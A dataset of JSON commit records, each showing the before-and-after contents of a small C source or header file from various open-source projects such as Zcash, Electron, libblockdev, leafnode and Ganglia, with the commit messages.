{"commit":"899ee459ef10181a7011be87887fb25e17898e16","old_file":"test\/test-non-bopomofo-IM.c","new_file":"test\/test-non-bopomofo-IM.c","old_contents":"","new_contents":"\/**\n * test-non-bopomofo-IM.c\n *\n * Copyright (c) 2013\n *      libchewing Core Team. See ChangeLog for details.\n *\n * See the file \"COPYING\" for information on usage and redistribution\n * of this file.\n *\/\n\/**\n * @file test-non-bopomofo-IM.c\n * @brief Test cases of newly built APIs for non-phonetic IM's.\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"chewing.h\"\n#include \"testhelper.h\"\n\n\n","subject":"Add a file to contain test cases for non-phonetic IM's.","message":"Add a file to contain test cases for non-phonetic IM's.\n","lang":"C","license":"lgpl-2.1","repos":"school510587\/general_index_libchewing,school510587\/general_index_libchewing,school510587\/general_index_libchewing,school510587\/general_index_libchewing"}
{"commit":"687d84793938928c192950dd3d0429235c36d59b","old_file":"test\/printstr.c","new_file":"test\/printstr.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <ctype.h>\n\nstatic void\nprintstr(FILE *stream, const char *str)\n{\n    char c;\n\n    while ((c = *str++) != '\\0') {\n        putc(c, stream);\n        if (isprint(c) && c != '\"' && c != '\\\\')\n            putc(c, stream);\n        else\n            fprintf(stream, \"\\\\x%x\", (int) c);\n    }\n}\n\nint main() {\n    printstr(stdout, \"heisann!\\n\");\n    return 0;\n}\n","subject":"Add string function to test suite","message":"Add string function to test suite\n\nTaken from string.c.\n","lang":"C","license":"mit","repos":"larmel\/c-compiler,larmel\/lacc,larmel\/c-compiler,larmel\/c-compiler,larmel\/lacc"}
{"commit":"c5f766b9b116c7bcdb2e7ece1ca1802327376778","old_file":"src\/zcash\/Zcash.h","new_file":"src\/zcash\/Zcash.h","old_contents":"#ifndef _ZCCONSTANTS_H_\n#define _ZCCONSTANTS_H_\n\n#define ZC_NUM_JS_INPUTS 2\n#define ZC_NUM_JS_OUTPUTS 2\n#define INCREMENTAL_MERKLE_TREE_DEPTH 20\n#define INCREMENTAL_MERKLE_TREE_DEPTH_TESTING 4\n\n#define ZC_NOTEPLAINTEXT_LEADING 1\n#define ZC_V_SIZE 8\n#define ZC_RHO_SIZE 32\n#define ZC_R_SIZE 32\n#define ZC_MEMO_SIZE 128\n\n#define ZKSNARK_PROOF_SIZE 584\n\n#endif \/\/ _ZCCONSTANTS_H_\n","new_contents":"#ifndef _ZCCONSTANTS_H_\n#define _ZCCONSTANTS_H_\n\n#define ZC_NUM_JS_INPUTS 2\n#define ZC_NUM_JS_OUTPUTS 2\n#define INCREMENTAL_MERKLE_TREE_DEPTH 29\n#define INCREMENTAL_MERKLE_TREE_DEPTH_TESTING 4\n\n#define ZC_NOTEPLAINTEXT_LEADING 1\n#define ZC_V_SIZE 8\n#define ZC_RHO_SIZE 32\n#define ZC_R_SIZE 32\n#define ZC_MEMO_SIZE 128\n\n#define ZKSNARK_PROOF_SIZE 584\n\n#endif \/\/ _ZCCONSTANTS_H_\n","subject":"Change merkle tree depth to 29.","message":"Change merkle tree depth to 29.\n","lang":"C","license":"mit","repos":"bitcoinsSG\/zcash,bitcoinsSG\/zcash,bitcoinsSG\/zcash,aniemerg\/zcash,CTRoundTable\/Encrypted.Cash,aniemerg\/zcash,CTRoundTable\/Encrypted.Cash,aniemerg\/zcash,CTRoundTable\/Encrypted.Cash,CTRoundTable\/Encrypted.Cash,aniemerg\/zcash,bitcoinsSG\/zcash,bitcoinsSG\/zcash,aniemerg\/zcash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,aniemerg\/zcash"}
{"commit":"b608152c41f235a0bf4ffd9db21d954bada3ceea","old_file":"atom\/common\/chrome_version.h","new_file":"atom\/common\/chrome_version.h","old_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file is generated by script\/bootstrap.py, you should never modify it\n\/\/ by hand.\n\n#ifndef ATOM_COMMON_CHROME_VERSION_H_\n#define ATOM_COMMON_CHROME_VERSION_H_\n\n#define CHROME_VERSION_STRING \"62.0.3202.94\"\n#define CHROME_VERSION \"v\" CHROME_VERSION_STRING\n\n#endif  \/\/ ATOM_COMMON_CHROME_VERSION_H_\n","new_contents":"\/\/ Copyright (c) 2014 GitHub, Inc.\n\/\/ Use of this source code is governed by the MIT license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file is generated by script\/bootstrap.py, you should never modify it\n\/\/ by hand.\n\n#ifndef ATOM_COMMON_CHROME_VERSION_H_\n#define ATOM_COMMON_CHROME_VERSION_H_\n\n#define CHROME_VERSION_STRING \"63.0.3239.84\"\n#define CHROME_VERSION \"v\" CHROME_VERSION_STRING\n\n#endif  \/\/ ATOM_COMMON_CHROME_VERSION_H_\n","subject":"Update Chrome version to 63.0.3239.84","message":"Update Chrome version to 63.0.3239.84\n","lang":"C","license":"mit","repos":"bpasero\/electron,electron\/electron,shiftkey\/electron,shiftkey\/electron,gerhardberger\/electron,shiftkey\/electron,bpasero\/electron,bpasero\/electron,gerhardberger\/electron,shiftkey\/electron,bpasero\/electron,electron\/electron,electron\/electron,seanchas116\/electron,seanchas116\/electron,the-ress\/electron,gerhardberger\/electron,the-ress\/electron,shiftkey\/electron,the-ress\/electron,electron\/electron,bpasero\/electron,gerhardberger\/electron,the-ress\/electron,the-ress\/electron,bpasero\/electron,seanchas116\/electron,seanchas116\/electron,seanchas116\/electron,shiftkey\/electron,gerhardberger\/electron,gerhardberger\/electron,gerhardberger\/electron,the-ress\/electron,bpasero\/electron,electron\/electron,the-ress\/electron,electron\/electron,electron\/electron,seanchas116\/electron"}
{"commit":"61377d69a4eba2ccfda4a6bf8c16cfdb84fe70c3","old_file":"assembly\/screenmsg.c","new_file":"assembly\/screenmsg.c","old_contents":"","new_contents":"\/*\n * screenmsg - Print a message to terminal\n *\n * Written in 2012 by Prashant P Shah <pshah.mumbai@gmail.com>\n *\n * To the extent possible under law, the author(s) have dedicated\n * all copyright and related and neighboring rights to this software\n * to the public domain worldwide. This software is distributed\n * without any warranty.\n *\n * You should have received a copy of the CC0 Public Domain Dedication\n * along with this software.\n * If not, see <http:\/\/creativecommons.org\/publicdomain\/zero\/1.0\/>.\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char *argv[])\n{\n\tchar *msg = \"Hello world from assembly\\n\";\n\n\t\/\/ http:\/\/asm.sourceforge.net\/syscall.html#p33\n\t\/\/ http:\/\/jakash3.wordpress.com\/2010\/10\/14\/linux-assembly\/\n\n\tasm(\"MOVL $4, %eax\");\t\t\/\/ system call code for write\n\tasm(\"MOVL $1, %ebx\");\t\t\/\/ file descriptor = stdout (1)\n\tasm(\"MOVL %0, %%ecx\" : : \"m\"(msg));\t\/\/ pointer to buffer\n\tasm(\"MOVL $26, %edx\");\t\t\/\/ size of buffer\n\tasm(\"INT $0x80\");\t\t\/\/ software interrrupt to system call\n\n\treturn 0;\n}\n","subject":"Print a message to terminal screen","message":"Print a message to terminal screen\n\nSigned-off-by: Prashant Shah <80f978b5ac27fb318171799f0fb6a277863f2bf5@gmail.com>\n","lang":"C","license":"cc0-1.0","repos":"prashants\/c"}
{"commit":"efbf667dd43005cc46c83097ee19499f57be14af","old_file":"src\/lib\/blockdev.h","new_file":"src\/lib\/blockdev.h","old_contents":"#include <glib.h>\n\n#ifndef BD_LIB\n#define BD_LIB\n\n#include \"plugins.h\"\n\ngboolean bd_init (BDPluginSpec *force_plugins);\ngboolean bd_reinit (BDPluginSpec *force_plugins, gboolean replace);\ngchar** bd_get_available_plugin_names ();\ngboolean bd_is_plugin_available (BDPlugin plugin);\n\n\n#endif  \/* BD_LIB *\/\n","new_contents":"#include <glib.h>\n\n#ifndef BD_LIB\n#define BD_LIB\n\n#include \"plugins.h\"\n\ngboolean bd_init (BDPluginSpec *force_plugins);\ngboolean bd_reinit (BDPluginSpec *force_plugins, gboolean reload);\ngchar** bd_get_available_plugin_names ();\ngboolean bd_is_plugin_available (BDPlugin plugin);\n\n\n#endif  \/* BD_LIB *\/\n","subject":"Fix name of the paramenter for requesting plugin reload","message":"Fix name of the paramenter for requesting plugin reload\n\n'reload' better explains what happens than 'replace'.\n","lang":"C","license":"lgpl-2.1","repos":"vpodzime\/libblockdev,vpodzime\/libblockdev,rhinstaller\/libblockdev,snbueno\/libblockdev,dashea\/libblockdev,vpodzime\/libblockdev,rhinstaller\/libblockdev,atodorov\/libblockdev,rhinstaller\/libblockdev,dashea\/libblockdev,atodorov\/libblockdev,snbueno\/libblockdev,atodorov\/libblockdev"}
{"commit":"7d95d1ae451ed247f4c25f2b21cd2d5ff37046c9","old_file":"Sources\/Rumia\/Iterator.h","new_file":"Sources\/Rumia\/Iterator.h","old_contents":"#pragma once\n\nnamespace Rumia\n{\n    template<typename Ty, typename ContainerTy>\n    class Iterator\n    {\n    public:\n        using DataType = Ty;\n        using ContainerType = ContainerTy;\n\n    public:\n        Iterator( ContainerType& container ) : m_container( container )\n        {\n        }\n\n        virtual ~Iterator( ) { }\n\n        virtual Ty& operator*( ) = 0;\n        virtual Ty& operator*( ) const = 0;\n\n    protected:\n        ContainerType& m_container;\n\n    };\n}","new_contents":"#pragma once\n\nnamespace Rumia\n{\n    template<typename Ty, typename ContainerTy>\n    class Iterator\n    {\n    public:\n        using DataType = Ty;\n        using ContainerType = ContainerTy;\n\n    public:\n        Iterator( ContainerType& container ) : m_container( container )\n        {\n        }\n\n        virtual ~Iterator( ) { }\n\n        virtual Ty& operator*( ) const = 0;\n\n    protected:\n        ContainerType& m_container;\n\n    };\n}","subject":"Delete non-const reference operator pure virtual function","message":"Delete non-const reference operator pure virtual function\n","lang":"C","license":"mit","repos":"HoRangDev\/Rumia,HoRangDev\/Rumia"}
{"commit":"bb072543fdf3b2954715351399ad29ff5c4d74d0","old_file":"hw3\/syscall\/accomodate_space.c","new_file":"hw3\/syscall\/accomodate_space.c","old_contents":"#include<stdio.h>\n#include<stdlib.h>\n#include<unistd.h>\n\nint main( int argc, char *argv[] ){\n\n\tint *pointer;\n    int i;\n\tpointer = (int*)malloc(sizeof(int)*1337);\n\n\t\/\/Declare 5 arrays of 'char' variables\n\tchar *space0, *space1, *space2, *space3, *space4;\n\n\t\/\/Accomodate some (random) space for them\n\tspace0 = (char*) malloc (sizeof(char) *333333);\n    space1 = (char*) malloc (sizeof(char) *44444);\n\tspace2 = (char*) malloc (sizeof(char) *3214);\n\tspace3 = (char*) malloc (sizeof(char) *10000000);\n\tspace4 = (char*) malloc (sizeof(char) *55630);\n\n\t\n\t\/\/Do this 100 times\n\tfor(i=0; i < 100; i++){\n\t\t\n\t\t\/\/Attempt to resize the memory block pointed to by 'pointer' for i*1337 bytes\n\t\tpointer = (int*)realloc(pointer,(i*1337) );\n\t\t\n\t\tsleep(2); \/\/ not needed \n\n\t}\n\n\n\treturn 0;\n}\n","new_contents":"#include<stdio.h>\n#include<stdlib.h>\n#include<unistd.h>\n#include<time.h>\n\nint main( int argc, char *argv[] ){\n\n\tint *pointer;\n    int i;\n\tpointer = (int*)malloc(sizeof(int)*1337);\n\n\t\/\/Declare 5 arrays of 'char' variables\n\tchar *space0, *space1, *space2, *space3, *space4;\n\n\tclock_t begin = clock();\n\t\/\/Accomodate some (random) space for them\n\tspace0 = (char*) malloc (sizeof(char) *333333);\n    space1 = (char*) malloc (sizeof(char) *44444);\n\tspace2 = (char*) malloc (sizeof(char) *3214);\n\tspace3 = (char*) malloc (sizeof(char) *10000000);\n\tspace4 = (char*) malloc (sizeof(char) *55630);\n\n\t\n\t\/\/Do this 100 times\n\tfor(i=0; i < 100; i++){\n\t\t\n\t\t\/\/Attempt to resize the memory block pointed to by 'pointer' for i*1337 bytes - big size\n\t\tpointer = (int*)realloc(pointer,(i*1337) );\n\t\t\n\t\tsleep(2); \/\/ not needed \n\n\t}\n\t\n\tclock_t end = clock();\n\t\n\t\/\/return time in an internal scale called \"clocks\"\n\tdouble time_spent = (double)(end-begin) * 1000.0 \/ CLOCKS_PER_SEC;\n\tprintf(\"%Time elapsed with the current algorithm is %f \", time_spent);\n\n\n\treturn 0;\n}\n","subject":"Test Program that accomodates space now returns the time spent","message":"Test Program that accomodates space now returns the time spent\n","lang":"C","license":"mit","repos":"eloukas\/Operating-Systems,eloukas\/Operating-Systems,eloukas\/Operating-Systems,eloukas\/Operating-Systems"}
{"commit":"526d5c80f57093bcfe5d294c3b48e7fd395b272b","old_file":"timeout_getaline.c","new_file":"timeout_getaline.c","old_contents":"#include \"leafnode.h\"\n#include \"ln_log.h\"\n\n#include <signal.h>\n#include <setjmp.h>\n\n#ifdef WITH_DMALLOC\n#include <dmalloc.h>\n#endif\n\n#include <unistd.h>\n\nstatic jmp_buf to;\nstatic RETSIGTYPE\ntimer(int sig)\n{\n    (void)sig;\n    siglongjmp(to, 1);\n}\n\n\/*\n * call getaline with timeout\n *\/\nchar *\ntimeout_getaline(FILE * f, unsigned int timeout)\n{\n    char *l;\n    struct sigaction sa;\n\n    if (sigsetjmp(to, 1)) {\n\tln_log(LNLOG_SERR, LNLOG_CTOP, \"timeout reading.\");\n\treturn NULL;\n    }\n    sa.sa_handler = timer;\n    sa.sa_flags = SA_NOCLDSTOP | SA_RESTART;\n    sigemptyset(&sa.sa_mask);\n    (void)sigaction(SIGALRM, &sa, NULL);\n    (void)alarm(timeout);\n    l = getaline(f);\n    (void)alarm(0U);\n    return l;\n}\n\nchar *\nmgetaline(FILE * f)\n{\n    return timeout_getaline(f, timeout_client);\n}\n","new_contents":"#include \"leafnode.h\"\n#include \"ln_log.h\"\n\n#include <signal.h>\n#include <setjmp.h>\n\n#ifdef WITH_DMALLOC\n#include <dmalloc.h>\n#endif\n\n#include <unistd.h>\n\nstatic sigjmp_buf to;\nstatic RETSIGTYPE\ntimer(int sig)\n{\n    (void)sig;\n    siglongjmp(to, 1);\n}\n\n\/*\n * call getaline with timeout\n *\/\nchar *\ntimeout_getaline(FILE * f, unsigned int timeout)\n{\n    char *l;\n    struct sigaction sa;\n\n    if (sigsetjmp(to, 1)) {\n\tln_log(LNLOG_SERR, LNLOG_CTOP, \"timeout reading.\");\n\treturn NULL;\n    }\n    sa.sa_handler = timer;\n    sa.sa_flags = SA_NOCLDSTOP | SA_RESTART;\n    sigemptyset(&sa.sa_mask);\n    (void)sigaction(SIGALRM, &sa, NULL);\n    (void)alarm(timeout);\n    l = getaline(f);\n    (void)alarm(0U);\n    return l;\n}\n\nchar *\nmgetaline(FILE * f)\n{\n    return timeout_getaline(f, timeout_client);\n}\n","subject":"Fix type: jmp_buf -> sigjmp_buf.","message":"Fix type: jmp_buf -> sigjmp_buf.","lang":"C","license":"lgpl-2.1","repos":"BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode,BackupTheBerlios\/leafnode"}
{"commit":"112bb84c8ea50a4e5a415723906ea314a4cd374a","old_file":"transmitter\/comm.h","new_file":"transmitter\/comm.h","old_contents":"#ifndef COMM_H_\n#define COMM_H_\n\n#define COMM_BUFFER_LEN 3\n\ntypedef struct{\n  uint8_t key;\n  uint16_t val;\n}\ncomm_t;\n\n\/\/ Buffer messages to sent to the monitor\ncomm_t comm_buffer[COMM_BUFFER_LEN];\nunsigned char comm_head;\nunsigned char comm_tail;\n\n\/**\n * Push an element onto the end of the  buffer.\n *\/\nvoid comm_push(comm_t d)\n{\n   \/\/ Add to the buffer\n   comm_buffer[comm_head] = d;\n\n   \/\/ Increment the index\n   comm_head++;\n   if (comm_head >= COMM_BUFFER_LEN) {\n       comm_head = 0;\n   }\n   \n}\n\n\/**\n * Shift an element off the beginning of the buffer.\n *\/\ncomm_t comm_shift()\n{\n    comm_t d = comm_buffer[comm_tail];\n    \/\/ Increase the processed index\n    comm_tail++;\n    if (comm_tail >= COMM_BUFFER_LEN) {\n        comm_tail = 0;\n    }\n\n    return d;\n}\n\n\/**\n * Determine whether the buffer is empty.\n *\/\nuint8_t comm_empty()\n{\n    if (comm_head == comm_tail) {\n        return 1;\n    }\n    return 0;\n}\n\n#endif\n\n","new_contents":"#ifndef COMM_H_\n#define COMM_H_\n\n#define COMM_BUFFER_LEN 4\n\ntypedef struct{\n  uint8_t key;\n  uint16_t val;\n}\ncomm_t;\n\n\/\/ Buffer messages to sent to the monitor\ncomm_t comm_buffer[COMM_BUFFER_LEN];\nunsigned char comm_head;\nunsigned char comm_tail;\n\n\/**\n * Push an element onto the end of the  buffer.\n *\/\nvoid comm_push(comm_t d)\n{\n   \/\/ Add to the buffer\n   comm_buffer[comm_head] = d;\n\n   \/\/ Increment the index\n   comm_head++;\n   if (comm_head >= COMM_BUFFER_LEN) {\n       comm_head = 0;\n   }\n   \n}\n\n\/**\n * Shift an element off the beginning of the buffer.\n *\/\ncomm_t comm_shift()\n{\n    comm_t d = comm_buffer[comm_tail];\n    \/\/ Increase the processed index\n    comm_tail++;\n    if (comm_tail >= COMM_BUFFER_LEN) {\n        comm_tail = 0;\n    }\n\n    return d;\n}\n\n\/**\n * Determine whether the buffer is empty.\n *\/\nuint8_t comm_empty()\n{\n    if (comm_head == comm_tail) {\n        return 1;\n    }\n    return 0;\n}\n\n#endif\n\n","subject":"Make the buffer a little larger","message":"Make the buffer a little larger\n","lang":"C","license":"mit","repos":"theapi\/quadcopter"}
{"commit":"2ee6ed64ebc9875b2aa143b52a6dac2590cbe569","old_file":"src\/zcash\/Zcash.h","new_file":"src\/zcash\/Zcash.h","old_contents":"#ifndef _ZCCONSTANTS_H_\n#define _ZCCONSTANTS_H_\n\n#define ZC_NUM_JS_INPUTS 2\n#define ZC_NUM_JS_OUTPUTS 2\n#define INCREMENTAL_MERKLE_TREE_DEPTH 29\n#define INCREMENTAL_MERKLE_TREE_DEPTH_TESTING 4\n\n#define ZC_NOTEPLAINTEXT_LEADING 1\n#define ZC_V_SIZE 8\n#define ZC_RHO_SIZE 32\n#define ZC_R_SIZE 32\n#define ZC_MEMO_SIZE 512\n\n#define ZC_NOTEPLAINTEXT_SIZE ZC_NOTEPLAINTEXT_LEADING + ZC_V_SIZE + ZC_RHO_SIZE + ZC_R_SIZE + ZC_MEMO_SIZE\n\n#define ZKSNARK_PROOF_SIZE 584\n\n#endif \/\/ _ZCCONSTANTS_H_\n","new_contents":"#ifndef _ZCCONSTANTS_H_\n#define _ZCCONSTANTS_H_\n\n#define ZC_NUM_JS_INPUTS 2\n#define ZC_NUM_JS_OUTPUTS 2\n#define INCREMENTAL_MERKLE_TREE_DEPTH 29\n#define INCREMENTAL_MERKLE_TREE_DEPTH_TESTING 4\n\n#define ZC_NOTEPLAINTEXT_LEADING 1\n#define ZC_V_SIZE 8\n#define ZC_RHO_SIZE 32\n#define ZC_R_SIZE 32\n#define ZC_MEMO_SIZE 512\n\n#define ZC_NOTEPLAINTEXT_SIZE (ZC_NOTEPLAINTEXT_LEADING + ZC_V_SIZE + ZC_RHO_SIZE + ZC_R_SIZE + ZC_MEMO_SIZE)\n\n#define ZKSNARK_PROOF_SIZE 584\n\n#endif \/\/ _ZCCONSTANTS_H_\n","subject":"Add parenthesis around macro value definition","message":"Add parenthesis around macro value definition","lang":"C","license":"mit","repos":"bitcoinsSG\/zcash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash,CTRoundTable\/Encrypted.Cash,bitcoinsSG\/zcash,CTRoundTable\/Encrypted.Cash"}
{"commit":"9d91e7e87b791e281f07d5a19117b1ebc7a6ec73","old_file":"compat\/compat.h","new_file":"compat\/compat.h","old_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","new_contents":"#ifndef COMPAT_H\n#define COMPAT_H\n\n#ifndef HAVE_PLEDGE\n#include \"pledge.h\"\n#endif\n\n\/* Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available *\/\n#ifndef CLOCK_MONOTONIC\n#define CLOCK_MONOTONIC CLOCK_REALTIME\n#endif\n\n#ifndef timespecsub\n#define\ttimespecsub(tsp, usp, vsp)\t\t\t\t\t\\\n\tdo {\t\t\t\t\t\t\t\t\\\n\t\t(vsp)->tv_sec = (tsp)->tv_sec - (usp)->tv_sec;\t\t\\\n\t\t(vsp)->tv_nsec = (tsp)->tv_nsec - (usp)->tv_nsec;\t\\\n\t\tif ((vsp)->tv_nsec < 0) {\t\t\t\t\\\n\t\t\t(vsp)->tv_sec--;\t\t\t\t\\\n\t\t\t(vsp)->tv_nsec += 1000000000L;\t\t\t\\\n\t\t}\t\t\t\t\t\t\t\\\n\t} while (0)\n#endif\n\n#endif \/* COMPAT_H *\/\n","subject":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.","message":"Use CLOCK_REALTIME if CLOCK_MONOTONIC is not available.\n","lang":"C","license":"bsd-2-clause","repos":"fcambus\/statzone"}
{"commit":"008450bab039ce5b287155faddf118bfe8e71a27","old_file":"tests\/divide\/in.c","new_file":"tests\/divide\/in.c","old_contents":"","new_contents":"#include <assert.h>\n\nint main()\n{\n\tint x = 285;\n\tint y = 23;\n\tassert(x \/ y == 12);\n\n\treturn 0;\n}\n","subject":"Add forgotten test for \/","message":"Add forgotten test for \/\n","lang":"C","license":"mit","repos":"orodley\/naive,orodley\/naive,orodley\/naive,orodley\/naive"}
{"commit":"495efcbb59a71a305b9036da895b4651f6b3d72c","old_file":"cpp\/EXGL.h","new_file":"cpp\/EXGL.h","old_contents":"#ifndef __EXGL_H__\n#define __EXGL_H__\n\n\n#include <OpenGLES\/ES2\/gl.h>\n#include <JavaScriptCore\/JSBase.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Identifies an EXGL context. No EXGL context has the id 0, so that can be\n\/\/ used as a 'null' value.\ntypedef unsigned int EXGLContextId;\n\n\/\/ [JS thread] Create an EXGL context and return its id number. Saves the\n\/\/ JavaScript interface object (has a WebGLRenderingContext-style API) at\n\/\/ `global.__EXGLContexts[id]` in JavaScript.\nEXGLContextId EXGLContextCreate(JSGlobalContextRef jsCtx);\n\n\/\/ [Any thread] Release the resources for an EXGL context. The same id is never\n\/\/ reused.\nvoid EXGLContextDestroy(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Perform one frame's worth of queued up GL work\nvoid EXGLContextFlush(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Set the default framebuffer (used when binding 0)\nvoid EXGLContextSetDefaultFramebuffer(EXGLContextId exglCtxId, GLint framebuffer);\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n","new_contents":"#ifndef __EXGL_H__\n#define __EXGL_H__\n\n\n#include <OpenGLES\/ES2\/gl.h>\n#include <JavaScriptCore\/JSBase.h>\n\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/\/ Identifies an EXGL context. No EXGL context has the id 0, so that can be\n\/\/ used as a 'null' value.\ntypedef unsigned int EXGLContextId;\n\n\/\/ [JS thread] Create an EXGL context and return its id number. Saves the\n\/\/ JavaScript interface object (has a WebGLRenderingContext-style API) at\n\/\/ `global.__EXGLContexts[id]` in JavaScript.\nEXGLContextId EXGLContextCreate(JSGlobalContextRef jsCtx);\n\n\/\/ [Any thread] Release the resources for an EXGL context. The same id is never\n\/\/ reused.\nvoid EXGLContextDestroy(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Perform one frame's worth of queued up GL work\nvoid EXGLContextFlush(EXGLContextId exglCtxId);\n\n\/\/ [GL thread] Set the default framebuffer (used when binding 0). Allows using\n\/\/ platform-specific extensions on the default framebuffer, such as MSAA.\nvoid EXGLContextSetDefaultFramebuffer(EXGLContextId exglCtxId, GLint framebuffer);\n\n#ifdef __cplusplus\n}\n#endif\n\n\n#endif\n","subject":"Clarify need for custom default framebuffer","message":"Clarify need for custom default framebuffer\n\nfbshipit-source-id: 40e157b\n","lang":"C","license":"bsd-3-clause","repos":"exponentjs\/exponent,exponentjs\/exponent,exponent\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponent\/exponent,exponent\/exponent,exponentjs\/exponent,exponent\/exponent,exponentjs\/exponent,exponentjs\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponentjs\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponent\/exponent,jolicloud\/exponent,jolicloud\/exponent,exponent\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponentjs\/exponent,jolicloud\/exponent,exponent\/exponent,exponent\/exponent,exponent\/exponent"}
{"commit":"2d35923e4e043c2d5a001e1e11b36adec9e495a4","old_file":"gmond\/core_metrics.c","new_file":"gmond\/core_metrics.c","old_contents":"","new_contents":"#include <metric.h>\n#include <gm_mmn.h>\n\n#include <libmetrics.h>\n\n\nmmodule core_metrics;\n\n\/*\n** A helper function to determine the number of cpustates in \/proc\/stat (MKN)\n*\/\n\nstatic int core_metrics_init ( apr_pool_t *p )\n{\n    int i;\n\n    for (i = 0; core_metrics.metrics_info[i].name != NULL; i++) {\n        \/* Initialize the metadata storage for each of the metrics and then\n         *  store one or more key\/value pairs.  The define MGROUPS defines\n         *  the key for the grouping attribute. *\/\n        MMETRIC_INIT_METADATA(&(core_metrics.metrics_info[i]),p);\n        MMETRIC_ADD_METADATA(&(core_metrics.metrics_info[i]),MGROUP,\"core\");\n    }\n\n    return 0;\n}\n\nstatic void core_metrics_cleanup ( void )\n{\n}\n\nstatic g_val_t core_metrics_handler ( int metric_index )\n{\n    g_val_t val;\n\n    \/* The metric_index corresponds to the order in which\n       the metrics appear in the metric_info array\n    *\/\n    switch (metric_index) {\n    case 0:\n        return gexec_func();\n    case 1:\n        return heartbeat_func();\n    case 2:\n        return location_func();\n    }\n\n    \/* default case *\/\n    val.int32 = 0;\n    return val;\n}\n\nstatic Ganglia_25metric core_metrics_info[] = \n{\n    {0, \"gexec\",      300, GANGLIA_VALUE_STRING,       \"\",        \"zero\", \"%s\", UDP_HEADER_SIZE+32, \"gexec available\"},\n    {0, \"heartbeat\",   20, GANGLIA_VALUE_UNSIGNED_INT, \"\",        \"\",     \"%u\", UDP_HEADER_SIZE+8,  \"Last heartbeat\"},\n    {0, \"location\",  1200, GANGLIA_VALUE_STRING,       \"(x,y,z)\", \"\",     \"%s\", UDP_HEADER_SIZE+12, \"Location of the machine\"},\n    {0, NULL}\n};\n\nmmodule core_metrics =\n{\n    STD_MMODULE_STUFF,\n    core_metrics_init,\n    core_metrics_cleanup,\n    core_metrics_info,\n    core_metrics_handler,\n};\n\n","subject":"Move heartbeat, location and gexec metrics to a core module that will always be statically linked","message":"Move heartbeat, location and gexec metrics to a core module that will always be statically linked\n\ngit-svn-id: 27e0aca8c7a52a9ae65dfba2e16879604119af8c@913 93a4e39c-3214-0410-bb16-828d8e3bcd0f\n","lang":"C","license":"bsd-3-clause","repos":"fastly\/ganglia,fastly\/ganglia,fastly\/ganglia,fastly\/ganglia,fastly\/ganglia"}
{"commit":"51f20f3dfcb48b12e1b20737e40ef035076f9461","old_file":"WordPerfectIndexer\/stdafx.h","new_file":"WordPerfectIndexer\/stdafx.h","old_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently,\n\/\/ but are changed infrequently\n\n#pragma once\n\n#ifndef STRICT\n#define STRICT\n#endif\n\n#include \"targetver.h\"\n\n#define _CRT_SECURE_NO_WARNINGS\n#define _ATL_APARTMENT_THREADED\n\n#define _ATL_NO_AUTOMATIC_NAMESPACE\n\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS\t\/\/ some CString constructors will be explicit\n\n\n#define ATL_NO_ASSERT_ON_DESTROY_NONEXISTENT_WINDOW\n\n#include \"resource.h\"\n#include <atlbase.h>\n#include <atlcom.h>\n#include <atlctl.h>\n","new_contents":"\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently,\n\/\/ but are changed infrequently\n\n#pragma once\n\n#ifndef STRICT\n#define STRICT\n#endif\n\n#include \"targetver.h\"\n\n#define _CRT_SECURE_NO_WARNINGS\n#define _ATL_APARTMENT_THREADED\n\n#define _ATL_NO_AUTOMATIC_NAMESPACE\n\n#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS\t\/\/ some CString constructors will be explicit\n\n\n#define ATL_NO_ASSERT_ON_DESTROY_NONEXISTENT_WINDOW\n\n#include \"resource.h\"\n#include <atlbase.h>\n#include <atlcom.h>\n#include <atlstr.h>\n","subject":"Swap out header in precompiled header file","message":"Swap out header in precompiled header file\n","lang":"C","license":"mpl-2.0","repos":"SunburstApps\/WordPerfectIndexer,SunburstApps\/WordPerfectIndexer"}
